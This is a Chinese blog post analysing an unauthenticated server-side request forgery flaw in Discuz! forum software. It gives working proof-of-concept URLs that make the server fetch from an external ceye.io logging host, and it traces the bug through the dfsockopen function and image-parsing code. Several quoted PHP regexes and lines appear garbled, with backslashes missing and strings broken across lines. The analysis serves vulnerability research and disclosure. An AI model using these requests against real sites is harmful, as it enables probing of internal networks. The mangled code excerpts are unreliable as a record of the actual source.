Discuz!另一处SSRF无须登陆无须条件

 漏洞来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0151179.html

看看poc:http://phpstudy.com/Discuz_X2/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://11aadds332.nrcuf9.ceye.io/1.jpg[/img]

不登录也行,3.x 版本如果请求提示xss拦截要带上 formhash 加cookie,之前版本好像不用。,先注册个账号获取formhash,

http://phpstudy.com/Discuz_X2/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://11aadds332.nrcuf9.ceye.io/1.jpg[/img]&formhash=33a734cf

url解析的地址模块是ajax,文件是forum.php,根据这两篇解析discuz的mvc模式来看,可以确定出现漏洞的php文件/source/module/forum/forum_ajax.php

文章地址:http://www.cnblogs.com/mjm212/p/6516038.html   http://www.cnblogs.com/wellsoho/p/3723028.html

action的参数是downremoteimg。

出现在这个if判断中,一般ssrf的话有这几个关键字:curl  , file_get_contents  ,fsockopen

在文件中搜索关键字可以看到,存在dfsockopen()

跟进dfsockopen()函数,位于/source/function/function_core.php

function dfsockopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE) {
	require_once libfile('function/filesock');
	return _dfsockopen($url, $limit, $post, $cookie, $bysocket, $ip, $timeout, $block);

  继续跟进_dfsockopen() 。

对url重组,并且请求。

让我们在回到最初的地方看看怎么处理输入的url。

if(preg_match('/^(http://|.)/i', $imageurl)) {
	$content = dfsockopen($imageurl);
}

  要满足表达式才行,http://或. 开头

$_G['gp_message'] = str_replace(array("
", "
"), array($_G['gp_wysiwyg'] ? '<br />' : '', "\n"), $_G['gp_message']);
preg_match_all("/[img]s*([^[<
]+?)s*[/img]|[img=d{1,4}[x|\,]d{1,4}]s*([^[<
]+?)s*[/img]/is", $_G['gp_message'], $image1, PREG_SET_ORDER);
preg_match_all("/<img.+src=('|"|)?(.*)(\1)([s].*)?>/ismUe", $_G['gp_message'], $image2, PREG_SET_ORDER);

获取image1匹配到的结果。

					if(!$upload->is_image_ext($attach['ext'])) {
						continue;
					}

  判断url的后缀是否是图片格式。接着

 最终形成了ssrf,ssrf对大企业比较有用,对于孤立的企业,或者放在云端的业务来说,危害不是很大。具体看服务器能访问到内网的规模和危害。

对于ssrf的利用,还有如下文章:

http://4o4notfound.org/index.php/archives/33/

https://blog.chaitin.cn/gopher-attack-surfaces/

http://joychou.org/index.php/web/phpssrf.html

http://bobao.360.cn/learning/detail/2889.html

原文地址:https://www.cnblogs.com/yangxiaodi/p/6926450.html